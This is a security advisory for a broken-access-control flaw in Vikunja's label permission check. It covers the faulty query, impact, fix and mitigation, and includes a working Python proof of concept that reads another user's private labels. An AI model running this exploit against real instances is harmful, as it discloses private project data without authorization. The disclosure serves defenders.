CVE-2026-35596 is a medium-severity (CVSS 4.3) CWE-863 vulnerability in code.vikunja.io/api. A fix is available for code.vikunja.io/api — see the affected versions and patch details below.
Vikunja has Broken Access Control on Label Read via SQL Operator Precedence Bug
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-35596.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
Where this sits among everything scored
Real-World Exposure
code.vikunja.io/apiReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.
Description
Summary
The hasAccessToLabel function contains a SQL operator precedence bug that allows any authenticated user to read any label that has at least one task association, regardless of project access. Label titles, descriptions, colors, and creator information are exposed.
Details
The access control query at pkg/models/label_permissions.go:85-91 uses xorm's query chain in a way that produces SQL without proper grouping:
has, err = s.Table("labels").
Select("label_tasks.*").
Join("LEFT", "label_tasks", "label_tasks.label_id = labels.id").
Where("label_tasks.label_id is not null OR labels.created_by_id = ?", createdByID).
Or(cond).
And("labels.id = ?", l.ID).
Exist(ll)
The xorm chain .Where(A OR B).Or(C).And(D) generates SQL: WHERE A OR B OR C AND D. Because SQL AND has higher precedence than OR, this evaluates as WHERE A OR B OR (C AND D). The labels.id = ? constraint (D) only binds to the project access condition (C), while label_tasks.label_id IS NOT NULL (part of A) remains unconstrained.
Any label that has at least one task association passes the IS NOT NULL check, regardless of who is requesting it.
Proof of Concept
Tested on Vikunja v2.2.2.
import requests
TARGET = "http://localhost:3456"
API = f"{TARGET}/api/v1"
def login(u, p):
return requests.post(f"{API}/login", json={"username": u, "password": p}).json()["token"]
def h(token):
return {"Authorization": f"Bearer {token}", "Content-Type": "application/json"}
a_token = login("labeler", "Labeler123!")
b_token = login("snooper", "Snooper123!")
# labeler creates private project, label, task, and assigns label
proj = requests.put(f"{API}/projects", headers=h(a_token),
json={"title": "Private Project"}).json()
label = requests.put(f"{API}/labels", headers=h(a_token),
json={"title": "CONFIDENTIAL-REVENUE", "hex_color": "ff0000"}).json()
task = requests.put(f"{API}/projects/{proj['id']}/tasks", headers=h(a_token),
json={"title": "Q4 revenue data"}).json()
requests.put(f"{API}/tasks/{task['id']}/labels", headers=h(a_token),
json={"label_id": label["id"]})
# snooper reads the label from labeler's private project
r = requests.get(f"{API}/labels/{label['id']}", headers=h(b_token))
print(f"GET /labels/{label['id']}: {r.status_code}") # 200 - should be 403
if r.status_code == 200:
data = r.json()
print(f"Title: {data['title']}") # CONFIDENTIAL-REVENUE
print(f"Creator: {data['created_by']['username']}") # labeler
Output:
GET /labels/1: 200
Title: CONFIDENTIAL-REVENUE
Creator: labeler
Label IDs are sequential integers, making enumeration straightforward.
Impact
Any authenticated user can read label metadata (titles, descriptions, colors) and creator user information from any project in the instance, provided the labels are attached to at least one task. This constitutes cross-project information disclosure. The creator's username and display name are also exposed.
Recommended Fix
Use explicit builder.And/builder.Or grouping:
has, err = s.Table("labels").
Select("label_tasks.*").
Join("LEFT", "label_tasks", "label_tasks.label_id = labels.id").
Where(builder.And(
builder.Eq{"labels.id": l.ID},
builder.Or(
builder.And(builder.Expr("label_tasks.label_id is not null"), cond),
builder.Eq{"labels.created_by_id": createdByID},
),
)).
Exist(ll)
Found and reported by aisafe.io
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐹Go | code.vikunja.io/api | all versions | 2.3.0go get code.vikunja.io/api@v2.3.0 |
Affected Products
vikunjavikunjaDetection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for code.vikunja.io/api, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update code.vikunja.io/api to 2.3.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-35596 is resolved across your whole dependency graph.
Workarounds
Put an independent control in front of the weakness: restrict the affected endpoint or interface to trusted networks, require an additional authentication factor or proxy-level check, and invalidate existing sessions and credentials in case the flaw has already been used.
Frequently Asked Questions
Is CVE-2026-35596 in your dependencies?
Find it across Go, including transitive dependencies.